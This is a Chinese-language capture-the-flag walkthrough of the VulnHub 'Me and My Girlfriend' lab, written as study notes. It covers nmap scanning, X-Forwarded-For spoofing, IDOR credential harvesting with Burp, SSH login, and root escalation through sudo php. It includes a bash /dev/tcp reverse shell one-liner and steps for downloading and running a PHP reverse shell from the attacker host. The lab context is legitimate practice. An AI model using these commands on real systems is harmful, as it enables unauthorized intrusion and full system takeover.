vulnhub : Me and My Girlfriend
练习+加深记忆固编写此文章。因为自身基础不够会在练习的过程中将不熟悉的东西查资料,并附在超链接中。
参考文章:
vulnhub靶机练习-Me and My Girlfriend: 1
Linux php命令
反弹shell详解
工具使用:
nmap
searchsploit
部署
虚拟机:vmware workstation
攻击者:WSL kali (WSL可以通过nat技术使用物理机的ip 攻击靶场。也可以使用kali Linux虚机进行攻击,但是记得配置网卡)
文件:Me-and-My-Girlfriend-1.ova
工具:burpsuit
- 靶场下载
2. 加载下载下来文件即可
3. 配置网卡,开机,如图:(这里我的攻击机为wsl kali ,因此不用配置其他的,如果使用kali虚拟机的话也需要进行如下配置;当然网卡也有其他配置方式,这里我就不赘述了,有需要的自行百度)
收集信息-查找靶机ip-及开放端口
-
物理机上查看以太网适配器 VMware Network Adapter VMnet8 的ip段,命令:ipconfig。
-
nmap扫描192.168.98.0/24网段ip,扫描出靶机ip为192.168.98.204
nmap -sP 192.168.98.0/24
或者也可以使用 netdiscover -r 192.168.98.1/24,但是我扫描失败了,不知道是不是wsl的问题。
3. 探测靶机开放端口,当前开放了22(ssh)、80(http)。
nmap -p 1-65535 -sS 192.168.98.204
访问网站,XFF配置
1.访问网站,提示仅可以本地访问。HTTP数据包中标记来源的字段有x-forwarded-for、x-real-ip。
通常这类字段应用场景为:访问者(1.1.1.1)-》代理(x-forwarded-for:1.1.1.1)-》目标网站(192.168.x.x),当代理将互联网的流量转发给私网时,网络层的源ip被替换成了代理的ip,真实ip就由http暂为保管了
2. burpsuit抓包添加数据报头x-forwarded-for:127.0.0.1,注意最好添加在Connection: close之前,不然可能会失效。之后访问的每一个页面都需要添加该字段,可以搞一个火狐插件,或者对burpsuit进行配置
x-forwarded-for:127.0.0.1
3. burpsuit配置
网站测试-漏洞探测-目录扫描
1.观察网站,
(1)是否存在爆破点、注入点、文件包含等。
(2)目录扫描
(3)一定要看看网页源码!!!
简单测试网站是否存在注入点、文件包含漏洞。
可能存在文件包含的地方
可能存在注入点的地方
2. 目录扫描,试了一下,没有发现啥有用信息
网站测试-越权访问
- 简要测试,发现user-id 存在越权访问的现象。
2. 使用burpsuit把所有数据爬出来
抓包将数据包发送到intruder里,对user_id进行爆破
3. 看看都有哪些账户
4. 发现故事主人公alice。获得用户名:alice 密码:4lic3
SSH 登录
1.在kali中 使用alice 4lic3 ssh登录靶机
ssh alice@192.168.98.204
操作系统信息搜集-获取第一个flag
- 获取第一个flag,获知第二个flag在/root目录下
ls -al
ls .my_secre
cat .my_secret/flag1.txt
2.搜集操作系统信息,当前权限不足需要搜集当前信息。(searchsploit使用)
id #查看当前用户权限。
cat /etc/passwd |grep alice #查看当前用户权限,权限第
uname -a #查看当前系统版本,可以依据系统版本,查找响应漏洞进行提权
#使用kali中searchsploit查找对应漏洞,尝试提权。此处不是标准答案,不做演示
searchsploit ubuntu 14.04
searchsploit linux Kernel 4.4.0
sudo -l #查看当前用户可以执行哪些管理员权限命令
系统提权-获取第二个flag
- 上图 (root) NOPASSWD: /usr/bin/php 表示当前用户可以执行管理员权限下的Linux php命令,在管理员权限运行PHP代码反弹shell,可以获取管理员权限的账号。(也可以反弹当前账户权限至msf提权,不知道能不能成功,有时间试一下)
(1)# kali上设置监听
nc -lvp 1080
(2) sudo php 反弹shell,方法有二
方法一:上传Linux自带的反弹shell脚本
#php 反弹shell的两种方法
方法一:自己写代码反弹shell,试过报错了,原因未知,待排查。
sudo php -r 'system("bash -i >&/dev/tcp/192.168.98.1/1080>&1");'
emmm,如果php能够执行系统命令的话??就可以直接获取flag2了
sudo php -r 'system("ls /root");'
sudo php -r 'system("cat /root/flag2.txt");'
#方法二:使用kali自带反弹shell脚本php-reverse-shell.php,kali本地利用python开启http服务。靶机访问并下载反弹shell脚本,修改脚本中的ip及port
#kali
cd /usr/share/webshells/php/
ls
python3 -m http.server 2323
#靶机
cd /tmp
wget http://192.168.98.1:2323/php-reverse-shell.php
vim php-reverse-shell.php #修改ip为192.168.98.1 port为1080
sudo php php-reverse-shell.php #运行反弹shell脚本
2.获取第二个flag
wsl kali端口监听问题
wsl使用nat技术,借用宿主机各网卡上的ip访问对应网络,这意味着靶机无法反向连接wsl kali,因此需要宿主机做端口转发来解决这个问题。详细代码如下:
# 宿主机以管理员身份运行 powershell
#端口映射,关闭宿主机防火墙或者在墙上加策略放行监听端口。
netsh interface portproxy add v4tov4 listenport=[宿主机 端口] listenaddress=0.0.0.0 connectport=[wsl-kali port] connectaddress=[wsl-kali ip]
#取消端口映射
netsh interface portproxy delete v4tov4 listenaddress=本机ip listenport=本机端口号
#查看本电脑映射
netsh interface portproxy show all
#映射完成以后,要验证一下物理机上的端口有没有在监听,如果没有就排错吧。
netstat -ano | findstr [port]